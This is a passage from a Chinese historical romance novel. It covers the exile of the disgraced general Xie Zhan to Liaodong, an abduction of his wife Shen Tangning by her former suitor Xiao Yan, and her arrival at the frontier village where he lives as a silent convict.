观军容使多为隆德帝心腹,上达天听,颇受隆德帝信赖,朝堂之上,余公公义愤填膺道:“若非是谢世子一力保举,主张与西契合作,恐怕也不会发生这等骇人听闻之事!想我大周泱泱华夏,天朝上国,那是礼仪之邦恪守信诚之道!这些北疆夷狄,背信弃义,明面上借着驰援的名义,背地里却行?坐收渔利之举,伤我军民,着实可恨,可恨!” 谢四郎性情耿介,当堂怒而?驳道:“我二?哥本是一片好心,何况当初结盟,陛下也是同?意?了的!宗张之祸,是他四处奔波保家卫国,那时余公公你又在何处?他为国为民一片赤胆忠心,天地可鉴!分明是契人自食其言,关我兄长何事,你这阉人休要栽赃嫁祸!” 谢三郎和谢璁大吃一惊,谢璁下意?识去看隆德帝的脸色,果然他虎目中闪过一丝恼怒,唇瓣紧抿,显然已?是十分不悦。 刚要往前,谢三郎便?急忙将激愤的谢四郎挡到了后头去,出列道:“陛下明鉴,四郎年幼无知,言行?无状,乞望陛下恕罪!这些年来临远就算没有功劳也有苦劳,他不过一时看走了眼?,轻信了契人的盟约,还?望陛下念在旧情的份上,对临远从轻发落!” 谢三郎在朝中任户部侍郎,谢四郎任羽林卫指挥同?知。 谢三郎性情比四郎更为稳重,他自然看出了隆德帝不喜谢四郎用谢瞻的军功来压他,还?一口咬定?这事是他同?意?了的,这不是摆明了推卸责任! 便?是如今打出旗号谢瞻与郭尚率领十五万大军去攻打张元伦,哪里有十五万,能凑出十万来都顶了天,当时那种情形,隆德帝不听谢瞻又为之奈何! 果不其然,自有那挑通眉眼?之人会看皇帝脸色,首辅黄皓就说道:“谢侍郎、谢同?知,老朽理解你二?人救兄心切,然当初结盟和谈一事当时朝中许多官员都不赞同?,是谢世子一力保举,而?陛下力排众议,乃是信重谢世子,如今出了这回事,你一句轻飘飘的轻信就想揭过去,陛下和大周折损的却是将近十万的无辜兵将,你说这话岂不叫人心寒!” 御史赵川更是直呼:“谢侍郎,你说的倒轻巧!官兵损失惨重,唯有谢世子和执失伯都率领的那支前往野狐林的军队毫发无伤,我看这谢世子根本不是看走了眼?,分明是有意?与契人有勾结谋反才对!” 此言一出,满朝文?武大惊失色! 要知道,谢瞻若单是因?主张和谈订盟而?获罪,那最重的责罚不过是被贬官罢职,他勇谋无双,深得陛下信重,过个几年再起复不成问题。 但在本朝私通外敌、谋逆犯上那可是要落得身死族灭的大罪! 隆德帝下令锦衣卫与三法司彻查此事,下朝之后,谢璁又前往武英殿向?隆德帝求情,晓之以理,动之以情。 他情知这两年谢瞻屡建功勋,功高盖主,又兼谢瞻性情刚毅执拗,执法如山,开罪了不少官员,已?引得皇帝与朝中官员忌惮不满,如今众人见他遇难,巴不得落井下石,墙倒众人推。 隆德帝言语之间倒是还?顾念几分旧情,只是黄皓和赵川那一番话着实戳他心窝子,便?不怎么?耐烦地回了谢璁,让他回去等三法司审查的结果。 期间,谢瞻已?经下狱中,成为戴罪之身。 谢瞻从前的旧部与好友并?没有放弃他,包括谢璁和他的几个兄弟都四处为他奔走求情,即便?要治罪,至少要帮谢瞻洗脱私通外敌的罪名。 东宫。 梁王颇感不安道:“皇兄,我担心父皇会心慈手软,倘若谢临远一旦脱罪,今日不斩草除根,只怕来日他必成祸患,父皇年迈,一心念着旧情,但宗景先和张元伦的前车之鉴咱们不得不防备啊!” 太子慢悠悠地倒了杯茶,闻言冷笑道:“你以为你担心宗张,父皇便?不会担心了?你放心老四,父皇比咱们更担心!” 梁王说道:“那若是父皇心慈手软可怎么?办?” 太子“砰”的一声放下手中的茶盏。 “那就想办法让他死!” 太子一直与隆德帝身边的余公公私交甚笃,余公公乐得卖这位未来储君一个好,在隆德帝面前进些谗言,直接给谢瞻扣一个意图联合契人谋反的罪名。 另一面,太子与梁王本想再使些手段,伪造谢瞻与契人私通的信件,坐实谢瞻私通夷狄之名,再将这两年隆德帝倚重的秦王牵扯进来,将谢家与秦王一道斩草除根。 奈何三法司中都察院的最高长官都御史尹世文?不肯与他人同?流合污,又有郭尚亲自为谢瞻求情,太子眼?见谢瞻大势已?去,也不愿在其中牵扯太多落人把柄。 横竖想要一个罪臣悄无声息的死,也不是一件难事。 “九月十三深夜,臣等与谢将军约定?夜袭张元伦与宗瑁营寨,若是谢将军有心与契人私通,在搁下宗逆首级后为何要赶来救援卫世子?他完全可以等待契人杀光所有士兵之后才佯作来迟!” “再者,谢将军绝非那等有勇无谋的匹夫,他既要谋反,为何偏偏他领那一行?官兵与契人秋毫无犯,在战后,他又何必束手就擒?” 宗张之乱后,郭尚勤王有功,收复河北陕西,加封兵部尚书,清水河之战后,隆德帝晋郭尚为华国公,加食邑一千户。 郭尚求情之时,一番话也说得有理有据,合情合理。 前不久,西契的默答汗还?派遣使者送信过来,解释那夜是一场误会,隆德帝看完信后却命人使者驱逐出了西契的边境。 这是摆明了要与西契交恶了。 也意?味着,即使没有确凿的证据证明谢瞻与契人私通,然而?帝王疑心一旦动了,谢瞻便?是百口莫辩。 当年孝懿谢皇后在隆德帝寒微之时嫁给他,两人长子次子接连夭折,孝懿皇后总说谢瞻品性肖似两人早夭的长子,因?此谢瞻成为谢皇后的精神寄托,是她最为钟爱侄子。 这么?多年来,隆德帝自然也曾真心把谢瞻当做自己的孩子来爱护。 只是如今他年迈,而?谢瞻正值盛年,手握兵权,堂堂三镇节度使,有前两个三镇节度使耿忠慎和宗缙的前车之鉴,隆德帝决不能容忍国家再次重蹈宗张之祸。 帝王无情,趁机除去谢瞻,对于隆德帝而?言是最好的机会与选择。 因?谢瞻一力担下了所有罪名,最终三法司只判了谢瞻一个轻信契人、贻误军机的罪名,将他贬为庶民,剥夺一切荣誉名号,流放辽东苦寒之地。 在谢瞻戴罪离京之后,不久,同?样支持和谈并?主持了和谈的五皇子秦王藩地由陕西更换到了更为贫穷,且远离政治中心的河南,改封豫王,被严令无诏永世不得回京。 先前凡为谢瞻求情的同?僚,除了宗张功勋的元老郭尚能够明哲保身,大多不是贬官便?被罢职,就连谢璁亦被停职在家。 无奈,为了免受谢瞻牵累,谢璁不得不亲自将谢瞻从谢氏族谱之中除名。 离开京都之前,只有谢睿和谢三郎亲自去送谢瞻,一路将他送到城门外。 隆冬时节,寒风刺骨,城外老树枯枝“嘎吱”作响,冰封后的道路坚硬难行?,天地间都仿佛只剩下了灰白?二?色。 押送谢瞻的是六个解差和一个太监,那太监名为袁永禄,袁永禄见两人还?要继续送谢瞻,拦住谢睿与谢三郎道:“按照规矩,请两位大人止步于此。” “袁公公,只是说几句话。” 谢睿给袁永禄塞了一包沉甸甸的银子。 袁永禄却将那包银子一把扬扔到地上。他冷笑道:“还?以为自己是那威风凛凛的三镇节度使,堂堂镇国公世子?咱家奉劝你一句,拔了毛的凤凰不如鸡!” “你再说一遍!” 谢三郎勃然大怒。 他奈何不了隆德帝,莫非连一个卑贱的阉人也惩治不了吗?憋闷了多日的怒气终于爆发,再冷静不下,谢三郎挥起手中的马鞭便?往袁永禄身上抽去。 “我二?哥岂是你这等阉人可以随意?诋毁,我警告你,风水轮流转,他日我谢瞵若有起复之日,必定?先灭了你这阉宦狗命!” 谢睿急忙上前抱住谢三郎。 袁永禄一抹脸上的血,从地上爬起来,“只怕你没这个本事……” 谢三郎还?欲再打,谢瞻叫住了他们。 “三郎七郎,我有话嘱托你们。” 嘱咐完两人,谢瞻又看向?谢三郎。 “三郎,你回避一下,我有单独对七郎说。” 谢三郎不甘心地怒瞪着袁永禄,到底离开了。 谢睿问道:“二?哥,你是不是还?担心嫂嫂?你放心,我已?将她平安送到镇江,在你回来之前,我都会替你照顾好她和圆姐儿!” 谢瞻却说道:“我离开后,你去找长忠取一只匣子,将里面的和离书和一封信帮我去镇江再交付给她。” 谢睿震惊道:“二?哥,你,你……” 谢瞻垂目看着两手之间的枷锁。 “我已?是戴罪之身,何苦还?要牵累她。” 他忽地抬眼?看向?谢睿,“七郎,我知道你一直爱慕她。” 谢睿脸色大变,急忙否认道:“二?哥,你别误会!我对二?嫂一直都是敬慕之情,别无他意?!” 或许是因?为他心中的确有鬼,在兄长那淡然,却洞若观火、仿佛看破一切的目光的注视下,少年郎白?净的脸庞骤然涨得通红,愧疚得不发一言。 “窈窕淑女,君子好逑,我没有怪你。七郎,你愿意?日后替我照顾她和你的侄女圆姐儿一辈子吗?” “当然,即便?二?哥你不说,我也会这么?做!”谢瞻急忙保证。 谢瞻定?定?地看着谢睿。 他的这位弟弟,从小性格便?温吞谦和,常常和人没说两句话便?先红了脸。 今日细细看来,他生得是极漂亮:两道斜飞入鬓的剑眉,谢家人狭长的凤眼?,高挺的鼻梁,白?净的肌肤,比起家中的几位兄长,谢睿的眉眼?之间更多了几分柔和秀气,却并?不显得过分阴柔。 少年人未经世事的眼?神依旧仁厚纯朴,好像对未来的一切仍然充满了热忱向?往。 “我不是让你像对待姐姐一样照顾她。”谢瞻说道。 …… “他后来说什么??”沈棠宁追问。 谢睿低头说道:“没有再说什么?,只是让我照顾你和圆儿,便?离开了京都。” 后面的话,谢睿不敢再说出口。 “七郎,倘若有朝一日我死了,我要你娶她为妻——是一生一世只能娶她一个!照顾她和圆姐儿一辈子,把圆姐儿当成你的亲生女儿,你能做到吗?” 谢睿开始无论如何也不肯同?意?。 他承认自己一开始确实嫉妒谢瞻,他的这位兄长从小到大都是世人眼?中天之骄子,出身是王谢两大氏族的结合,样貌潇洒英俊,是京都无数女子的梦中情郎,皇帝姑父、皇后姑姑都将他视若珍宝,委以重任。 即便?他倨傲自负,目中无人,也有大把的女子愿意?为他如痴如狂。 沈棠宁是谢睿心目中如同?洛水女神一般的女子,他曾经怨恨谢瞻娶了沈棠宁却不能真心以待,让她受尽委屈。 可是在庆阳之时,他却亲眼?见证了兄嫂的恩爱,他永远只是个局外人一样看着他们。 为了不连累昔日同?僚和家族,谢瞻在狱中割发与大伯断绝了父子关系,毅然承担下一切罪过。 宗张之乱,他舍生忘死,一心为了隆德帝,为了大周百年基业,最终却被余程两个小人谗言,被自幼口口声声疼爱他的皇帝姑父流放,换来这样的一个下场。 那么?骄傲的兄长,会让他代?为照顾妻女。 他分明是存了死志。 如果有一天谢瞻当真遭遇不测,作为他的弟弟,最后,谢睿对天发誓,他能够做到对沈棠宁一生一世一双人。 在沈棠宁的“逼问”下,谢睿顶不住压力,只得将一切都和盘脱出。 唯独出于他的私心,不希望玷污他对她的一番痴慕之情,亦令她难堪,隐瞒了谢瞻最后对他说的那番话。 其实,谢睿本来也没打算瞒沈棠宁多久。 毕竟沈棠宁不可能一辈子都不离开房门,总有一日她会从别人的口中听到这一切。 甚至就连温氏,她也一早都知道。 是谢瞻写?信给她,让她佯装重病抱着圆姐儿去镇江躲避风头。 生病不过是为了瞒过沈棠宁的由头,否则以沈棠宁倔强的性子,在得知真相之后,她怎么?肯抛下谢瞻一走了之? 所以当沈棠宁告诉温氏,她要去京都看望舅舅一家和王氏的时候,温氏便?立即猜到了沈棠宁想做什么?。 “傻孩子,你非去不可吗,我们一家人就在镇江平安终老,不好吗?” 四十多岁的妇人发间已?有花白?之色,她流着泪问自己的女儿。 她已?经不能再承受失去女儿的痛苦。 温氏青年守寡,长子失踪,至今杳无音讯,为了女儿能平安长大,她不肯改嫁,忍受郭氏的欺辱,面对沈弘谦的求爱,多年不曾踏出房门一步。 眼?看叛乱将定?,天下太平,本以为一家人终于能有团圆相聚的那一日,女婿却突遭奸人污蔑下狱,偌大的一个家就这么?散了。 “对不起,对不起娘,是女儿不孝!” 沈棠宁亦是泪流满面,跪在地上给温氏磕了三个头。 “女儿一直没有对您说过,阿瞻对我有三次救命之恩,若是没有他,今日您再也见不到女儿。我不能,不能在他最艰难的时候离他而?去。” “当初是我牵线搭桥,一力劝说他与契人结盟,若非我固执己见,他也不会遭此横祸。他是代?我受过,又为了救我才狠心与我和离!” “而?且我有预感,倘若我苟且偷生,固然能平安终老一生,但是他会死……” 沈棠宁闭上眼?睛,伏在温氏膝上哽咽道:“娘,女儿做不到眼?睁睁看他去死啊!” “过刚易折,情深不寿。” 在从谢睿口中得知真相以后,她与谢瞻在中秋节那夜所遇的道人的谶言便?始终回荡在沈棠宁的脑海中。 对于男人来说,自古忠孝难得两全。 对于女人而?言,夫家与娘家同?样难以抉择。 年幼的女儿,年迈的母亲,要抛下这两个血脉至亲之人,不啻于在她心上割肉,沈棠宁心如刀绞。 但温氏身边没了沈棠宁,还?有圆姐儿,朱妈妈、锦书韶音和谢七郎帮忙照顾她。 谢瞻却一无所有。 他是一个那样骄傲的男人,一夕之间从天之骄子沦为罪臣之身,阶下之囚,遭宗族除名,寻常人尚且都难以承受巨大的身份落差,轻生寻死者比比皆是,何况向?来骄傲自负的他? “可你一个弱女子,去了又能如何?” “我会帮他活下去。”她一字一句地道。 只要他们二?人能够活下来,日后一家总会再有相聚之日。 …… 临行?前,沈棠宁将圆姐儿,以及锦书和韶音两个心腹丫鬟都留在温氏身边代?她尽孝。 锦书和韶音都哭着让沈棠宁不要抛下她们,她们两个什么?苦都不怕吃。 圆姐儿搂着外祖母的脖子,眨巴着大大的凤眼?目送着母亲上了马车。 自她出生起,爹娘好像总是每隔很久才会回来看她一次。 所以年幼的她早已?习惯了看着母亲一次次离去的背影。 她还?不懂得什么?叫做生离死别,也不明白?母亲这一去,或许母女二?人将再无相见之日。 温氏抱着圆姐儿,强忍着眼?眶中的泪水挤出一个微笑。 “走罢,团儿,别挂念我,娘会照顾好圆儿!” 马车发动起来,母女两人相牵的手仍不愿意?松开。 温氏追着马车,直到她再也追不上。 “团儿,团儿,娘会好好活着等你和阿瞻回来……团儿……我的团儿!” 温氏撕心裂肺地哭喊道。 沈棠宁捂着脸,泪如泉涌。 一个月后。 沈棠宁回到了阔别两年的京都城。 她先去见了舅舅一家。 这两年战乱,温双双也到了及笄之年,笄礼就在下个月,可惜沈棠宁没有机会参加了,便?提前送给了表妹一支漂亮的白?玉笄当做生辰礼物。 至于表弟温珧,这两年的时间变得也愈发稳重,今年六月刚过了院试,成为街坊邻居之中唯一的秀才。 提起温珧,温济淮依旧是满面的骄傲自豪。 温济淮和姚氏夫妇却苍老了许多,夫妇两人,包括两个孩子都小心翼翼在沈棠宁面前说话,生怕提到谢瞻,触起她的伤心事。 在得知沈棠宁已?与谢瞻和离后,姚氏才松了一口气,高兴地和温济淮商量着要给沈棠宁介绍一门更好的亲事。 温济淮不屑地道:“你家的那些亲戚,你口里提到的那些公子哥儿,哪有一个能配得上我的外甥女,别做梦了!” 温珧则信心满满地道:“宁姐姐就算一辈子不嫁,我以后也能好好读书,也能养她!” 沈棠宁听了,也只是在一边微笑着点?点?头。 离开前她告诉温济淮夫妇,她在塞外找到了哥哥沈连州的踪迹,她准备亲自去?*找沈连州,可能会有几年不回来,让温济淮夫妇多与温氏通信,对她照拂一二?。 温济淮和姚氏自然不赞同?,百般留她在京都城,沈棠宁看着却像是铁了心。 辞别温家后,沈棠宁才动身去了谢家。 镇国公府门庭紧闭,管家将沈棠宁从后门引入。 王氏要给她一大笔银子,劝她回镇江老家改嫁,日后和圆姐儿温氏不要再回京都。 沈棠宁温声婉拒了。 “怎么?不见阿妤?”她转而?问。 提起谢嘉妤,王氏默然无语。 半响,她深深叹了口气道:“郑国公府与她退婚了,这个孩子,面上什么?都不肯说,装作没事人一样,好孩子,你快去瞧瞧她吧,她一向?与你交好,你也帮我劝一劝她!” 谢瞻出事之后,谢璁自然也被停了所有的职务,这无疑释放出一个信号:谢家已?岌岌可危。 其实早在三年前,孝懿皇后去世后不久,谢璁便?从正一品的大都督被换成了太子太傅,彻底失去了实权,变成了荣誉衔。 只不过隆德帝待谢家表面一切如故。 而?今,就连谢瞻也不可避免功高盖主的下场,明眼?人都看得出来,隆德帝彻底将对谢家的忌惮摆在了明面上。 这个时候,储君都能做到大义灭亲,不肯回护自己的外家,还?有谁再敢冒着诛九族的风险与谢家交往过密? 郑国公府直接和谢嘉妤退婚,断绝了与谢家的一切往来。 自退婚之后,谢嘉妤便?整日将自己关在房中。 一个从前多么?活泼可爱的姑娘,变得终日只是呆然不语,才不过多久,便?从珠圆玉润瘦成了一把骨头。 谢家出事之后,先前与谢嘉妤交好的闺中密友们也都和卫家一样主动与她断了关系,消失得无影无踪。 沈棠宁陪了谢嘉妤三日。 谢嘉妤白?天不是在和沈棠宁逛园子,便?是做针线绣小绷,明明从前她都不喜欢做这些女工,嫌太过于无聊,宁可躺在床上看话本子都不愿意?动一动那些针线筐。 沈棠宁很担心她,但她不愿说,她也不能强迫她。 唯有在她即将离开的那一晚,夜深人静之时,两人共卧在一张床上,谢嘉妤忽转身抱住了沈棠宁,默默流了满脸的泪水。 “嫂嫂,对不起,其实从前我曾怨过你不识好歹,像我二?哥这样出色的人物,为何你却不像其他女子那样喜爱他。” “你现在想明白?了?”沈棠宁轻声问。 谢嘉妤点?头,又摇头,哽咽出声。 如果她的生命中没有出现过卫桓。 那个待她温柔似水的男子,那个与她青梅竹马的男子,那个等了她三年、待她如珠如宝的男子,在谢家出事之后,他终究是在父母的逼迫下与她退了婚。 她曾不顾一切地约定?与他月夜私奔,然而?那个凄冷的夜里她在金鱼池等了他整整一夜,等到的不是卫桓,而?是把她痛骂后又强行?带走的陈慎。 陈慎那些冷酷锥心的话,也让一直不愿接受事实的她彻底死了心。 …… 看着谢嘉妤睡熟了,沈棠宁才轻手轻脚地从床上起来。 昨夜一晚没睡,头脑有些昏沉,沈棠宁不想耽误时间,她与谢睿约好了,两人一早离开,谢睿护送他去辽东。 早一日离开,她便?能早一日再见到谢瞻。 她走出谢嘉妤的闺房,想喊丫鬟进来,可是不知为何门口静悄悄的,竟无一人。 她疑惑地走到一旁的耳旁中,想看昨夜是何人值夜,刚走了几步,忽觉颈后一痛,人便?失去了意?识。 …… 是熟悉的旋律和曲调。 沈棠宁猛地睁开眼?,发现自己身处于一间陌生的房间内。 她下床推门而?出。 寒冬腊月,庭院中竟然植满了盛放的海棠花,风一吹,粉白?的花瓣纷纷扬扬飘洒于空中,宛如一场花雪。 沈棠宁的目光,落在花雪尽处的那个身影上。 那人踩着一径的落花走到了她的面前。 “你意?欲何为?” 沈棠宁仰头,看着他道。 这是沈棠宁开口问他的第一句话。 萧砚面上的笑意?瞬间消失得无影无踪。 一年,整整一年的时间,他本以为两人再次见面她会先问他好不好,再不济,问一句为何她会出现在此处也好。 可他怎么?也没想到,她问出的第一句话会是“你意?欲何为”,会是如此的冷漠!就好像两人只是素昧平生的陌生人! 他恼怒地抓住沈棠宁的双肩,一向?俊朗温和的脸庞上竟露出了狰狞之色。 “你说我想如何?团儿,你当真绝情,你难道连从前我们两个人的誓言全都忘了?你说过只要我不负你,你永远都不会负我,为了谢瞻,你为何要这样对我,你凭什么??!” 沈棠宁闭上眼?。 她不愿看,萧砚便?攥住她的手,强行?扯着她去看那些海棠树。 他癫狂地,近乎咆哮地在她面前喊着,仿佛只有这样她才能懂得他到底为她付出了什么?。 “这些都是我亲手为你种下的,你说过你最爱海棠花,我便?在府中种满了海棠树,谢瞻能为你做到吗?他如今连自身都难保!在他心里,你永远都不是第一位,他想抛弃你的时候随时都可以将你抛弃,只有我,从头到尾只有我最爱你!” “我现在终于得到了一切,曾经他的一切,如今都属于我了!我等这一天你知道等了多久吗?” “你怎么?会变成这样?” 沈棠宁仰头看着他。她的声音很平静,一双清澈的美?眸里却满是哀伤。 “我原本便?是这样的人。” 萧砚无力而?苦涩一笑。 “你不明白?吗团儿,我萧仲昀从来都是这样的人,我那么?卑劣,可是你也爱过我,我们也是相爱过的!你为什么?不能回头原谅我,为什么?不能再给我一次机会,我不甘心,我真的不甘心……” 你以为普济寺的那道缭墙下是我们的初见,你可知为了那一次相遇我等待了多久? 你以为我深谙你的心事,每每与你想到一处,你可知为了与你能够说上一句话,我花费了多少的心思? “对不起。”沈棠宁说。 “我不要听这句话!” 萧砚掰着沈棠宁的脸。 “团儿,你给我听好了,谢瞻如今就是一介罪臣,贱命一条,他再也配不上你!你想要什么?我都可以给你,我要你做忠毅侯夫人,风风光光把你娶你萧家,你不愿我和娘生活在一处,我们就离开京都城,你想去哪里我都答应你,但我绝不允许你去辽东陪他过那样的苦日子,你死了这条心吧,从今往后,我都不会再放你离开!” 他阴沉沉地瞪着她,什么?风度休养统统都不要了,说完这一番话,粗重的鼻息一下又一下地喷在她的脸上,想要从她脸上看到一丝的动容。 沈棠宁却只是静静地看着他,她没有说什么?,抬手轻轻覆在他的手背上。 那幽凉细滑的触感,令萧砚心内一颤。 他感到自己已?经在失去她了——明明他早就知道,可悲的是,此刻她就在她的眼?前,可是她说的每一句话,她的每一个眼?神,眼?中都不再有他的身影。 只是他仍不甘心,在做着最后的挣扎和疯癫一般的发泄。 沈棠宁推开了他的手,退后两步。 “你当然可以这么?做,”她的声音依旧是那么?地温柔悦耳,“仲昀,我早就告诉过你,我们两个人不再有可能了。我的夫君,他不是贱命一条,在我的眼?中,即使他一无所有,也是这世上最顶天立地的男子,我绝不会弃他而?去,除非有一天我死了。” “仲昀,我永远都记得你第一次为我抚绿绮那日的清风朗月有多美?。” 她说道:“不要让我恨你。” 第74章 天色蒙蒙亮,卯正时刻,宁远城中沉睡的苦役们便被一阵刺耳敲锣声惊醒,开始了一天的劳动工作。 宁远位于周朝边陲,毗邻东契,历来是大周罪犯们的流放之所。 是以此?地鱼龙混杂,遍地荒凉,条件艰苦,一到数九隆冬便严寒刺骨,朔风呼啸,冷得?滴水成冰,几乎能将人手指头?都冻掉下来。 好在眼下开春,气温转暖,只天气依旧冷得?很,至少能够出门?了。 蔡询艰难地起了床穿衣。 他的夫人杨氏正在灶房里烧火做饭,大锅里煮着整整一锅热气腾腾的打卤面。 蔡询闻着那鲜香的味道?,肚子免不了咕噜噜叫了起来,不过他是读书人,慢条斯理地换好衣服出门?打扫院子。 少顷,蔡询的两个孩子也起了床,跑到灶房去等?饭吃。 杨氏一面驱赶两个馋嘴的孩子,一面将早饭端到了餐桌上。 今天的打卤面里有?肉,新鲜的鹿肉被切成一个个的小?肉块,面条极细,因杨氏喜欢吃细面,汤面飘着一层油星,上面撒着一把刚从地窖里掐下来的翠绿的小?葱花,看着当真叫人垂涎欲滴。 鹿肉是昨天一个学生的家长送来的束脩,蔡询是当地的教书先生。 不必蔡询开口,杨氏主动说道?:“给哑巴送一碗吃吧。” 蔡询点头?,“我去送。” 说罢端起最大的那一碗鹿肉面。 蔡询夫妇的大女儿九岁,小?儿子今年七岁,小?儿子一看就不乐意了,扁起嘴来叫道?:“爹爹你怎么又要给隔壁那个哑巴,每回娘做点荤的,你都要分给那个哑巴,我要吃这碗!” 蔡询板起脸道?:“闭嘴,爹从小?教你的礼义廉耻你都吃到狗肚子里了?不许叫他哑巴!” 小?儿嘴皮子也是利索,嚷嚷着道?:“你俩都这么叫,凭啥不让我叫!他又不长嘴说话,谁知道?他叫啥!爹娘你俩隔三差五给他送饭送棉衣,也从没见他给你俩露个笑脸,我看你俩就是热脸贴他的冷屁股!” 蔡询气得?抄起了扫帚,“你个臭小?子,你再?给我浑说,我打断你的狗腿信不信!” 蔡询扇完了小?儿子,担心面冷了坨了,赶紧把鹿肉面端到隔壁墙上。 乡下的房屋都不大,乡里邻亲间的墙壁都砌得?很矮,踮起脚来隔壁几乎一览无余。 敲了敲墙壁,听到屋里“吱嘎”的开门?声后,蔡询没有?亲手递给哑巴,而是像往常一样放下面碗便快步走了。 蔡询夫妇和乡亲们都不知道?他的名字,私底下便称呼他为哑巴,平日里也离得?他远远地,不敢和他多攀谈半句。 哑巴是去岁寒冬时被官差押解来的,据说是杀了不少人,犯了大事才被流放到此?。 寻常流犯被押解来的时候都是两三个解差压着,只有?他身?后跟着十二个解差和一个面白无须的年轻公公。 哑巴原本不住在这个村子,一开始官府安排他住的是大河村。 蔡询他们所住的这个村子叫做枣子村,枣子村中住的多半是当地的村民,乡里乡亲都和蔼可亲,十分好相?处。 而隔壁的几个村子,譬如西面的大河村,东边的井水村中住的多半都是流犯,里面是真正的鱼龙混杂。 某一个绝早的清晨,那位押解哑巴的年轻公公突然敲开了蔡询的家门?,给了蔡询塞了五十两银子。 他没有?告诉蔡询自己和哑巴的身?份,只是托他好好照顾哑巴,帮他活下去。 蔡询猜到哑巴的身?份不简单,但?五十两银子的诱惑更大,受人之托,忠人之事,他用十两银子贿赂了大河村和枣子村的管理苦役的役长,帮哑巴换了新的住处,换到自己家的隔壁,这样方便照顾他。 开始的时候蔡询给他送些吃的穿的,哑巴孤僻,不收,也不和旁人说话,杨氏眼看着自己亲手做的东西都被糟践了,恨恨说东西喂了狗也不要再?给这个哑巴送。 蔡询好说歹说才劝的杨氏消气,妇人心软,杨氏也见这哑巴实在可怜—— 天可怜见,这哑巴来时正值去岁的凛冽寒冬,他身?上竟只穿着一件薄薄的棉衣,一穿就是几个月,蓬头?垢面,冻得?脸颊通红。 他现如今的住处,屋里除了一套又脏又破的被褥,几乎算是家徒四壁,连床棉被都没有?的盖。 好说时日一长,那哑巴不知是不是想开了,东西渐渐都收下了。 有一回杨氏看他身上穿着自己给他做的棉衣,心里还特高?兴,只是在路上见了面他依旧不和两人说话,只低着头?走路,看起来就像块毫无生机的木头。 杨氏夜半就和蔡询说道:“我看他多半是犯了大事才被流放,平日你仔细看着点,没事多和他说说话,莫要叫他寻了短见才是,否则咱们岂不是辜负了公公的嘱托?” 蔡询去了村里的书塾教书,杨氏便在家里理干家务,照顾两个孩子。 眼看天色不早,蔡询将回家,杨氏就开始准备午膳,忽出门打醋的女儿从外面几乎是一路小?跑地跑进了屋,喘得?上气不接下气。 “娘,娘,咱们村子里来贵人啦!” 杨氏斥责道?:“来贵人关你屁事,你急什么,急着赶着去投胎?女儿家,需得?坐卧端庄贤淑,仔细又被你爹打……” 蔡小?娘子忍不住打断她娘的数落。 “哎呀娘,我知道?知道?啦!” 又道?:“你可知那来村子里的贵人是谁?当真是好生貌美的一位夫人!我从来便没见过这世上有?这般的美人,像是那灯画儿上走下来的仙子!” 杨氏切着菜嗤道?:“你还见过仙子?” “当真当真!她还坐着一辆恁大的马车,你猜她停在了何处?” 不待杨氏回答,蔡小?娘子便激动地道?:“停在了哑巴的家门?口!” “咣当”一声,杨氏手里的刀掉在了案板上- 沈棠宁推开简陋的木栅栏门?。 院子很小?,墙角堆满了不用的器具,除了正房一间屋子,院子东侧还有?个极小?的仓房。 她走到屋门?口,刚推开门?,屋子里便传来一股浓重的腐朽的潮霉味儿,迫使她掩住了自己的鼻唇。 四下环顾,屋里的情况更好不到哪里去。 大白天屋里却黑黢黢地,没一个人,屋子中间仅摆着一张桌子和几把椅子,最东侧靠墙上陈设着一张床,床上一个枕头?,一床被褥,窗下摆着脸盆木桶等?日用洗漱器具。 除了这些,屋里几乎称得?上是家徒四壁了。 沈棠宁将脏破的帘子拉开,门?窗都打开透气,而后四处寻找灶台。 找了半天,原来灶台在那间仓房的角落里,但?上面都结满了蜘蛛网,打开米粮罐子,里面也是果不其然一粒米也无。 耳旁传来女人的咳嗽声。 沈棠宁走出仓房,只见东侧的墙头?下立着一个三十岁许的妇人,正好奇地上下打量着她。 她微微一笑,走过去轻声道?:“见过夫人,敢问夫人,这家的主人何在?” 杨氏早已?看呆住了。 这么一个声甜人美的美娇娘,站在这脏破的屋子里都对她是一种玷污,她找哑巴是做什么? “这个时间,流犯们大多都在羊山修筑城墙嘞!”一道?脆脆的孩童声叫道?:“你找哑巴做什么呀!” 杨氏瞪了一眼儿子,“臭小?子,就你多嘴!” 沈棠宁一愣,这才发?现墙角上原来还趴着一男一女两个孩童,男孩虎头?虎脑,梳着冲天辫。 女孩子扎着一个单螺髻,模样清秀可爱,与妇人有?五六分相?似,大眼睛痴痴地盯着她。 沈棠宁冲两个孩子莞尔一笑,柔声问男孩道?:“小?郎君,你口中的哑巴是谁?” 男娃笑道?:“哑巴就是哑巴呀,你找的不就是哑巴嘛!” 杨氏尴尬地道?:“娘子你莫听这混账浑叫,这家的主人没有?名字,他一向不与我们说话,这孩子便以为他是哑巴,胡乱叫了。” “哦,他,他不爱说话吗?” 沈棠宁勉力?维持着面上的笑容。 杨氏说道?:“是啊,我就说他长得?人高?马大,齐齐整整的,怎能不会说话!娘子你看着也是个富贵人家的女儿,不知来找他作甚?” 沈棠宁说道?:“我是他的娘子。” 杨氏缄默不语了。 心里咋舌道?:怪道?先前老头?子与我说,哑巴应当是犯了大事儿才会被流放此?地,果然没有?猜错,否则怎会娶上一房这般美貌的娘子? 赶走了女儿和儿子,杨氏试探着问沈棠宁道?:“娘子是从家中千里迢迢而来,是打算过来看一眼他,还是在此?地久居?” 沈棠宁说:“夫人,我与他既缔结为夫妻,我自然是要一生一世追随他的。” 杨氏素来古道?热肠,闻言立即就忍不住劝道?:“娘子,我劝你早走为妙!人说‘为君一日恩,误妾百年身?’,你还年轻美貌,何苦为了一时的夫妻情分便想不开?辽东苦寒之地,此?地多得?是穷凶极恶的流犯流民,你娇滴滴的身?体怎生受得?了?听嫂子的话回去跟他离了,寻个可靠的男人托付终生岂不是更好?” 沈棠宁沉默片刻,只说道?:“多谢夫人一番好意,敢问羊山怎么走?” 杨氏以为她想开了,笑着摘了围裙道?:“你是外地来的,我给你指了你也不会走,也就两刻钟的路程,你等?着我领你去,看一眼便走了罢!” 沈棠宁再?度道?谢,杨氏嘱咐了两个孩子帮忙看灶后,就领着沈棠宁出了门?。 村路崎岖,不似官道?平坦,见沈棠宁娇弱,杨氏便建议她坐着马车走,沈棠宁却婉拒了。 两人走了也就两刻钟的功夫,一座绵延的大山越来越近。 山路难走,但?城墙也才修到山脚下,远远望去一道?栅栏门?将里外隔开,门?外守着士兵,门?里面足关着数百个着灰黑短褐的匠人。 他们一个个都蓬头?垢面,早已?分不出谁是谁,有?的在用水搅合和泥浆,有?的在搭建起来的窑洞里烧砖头?,有?的人在用泥浆黄土砌墙。 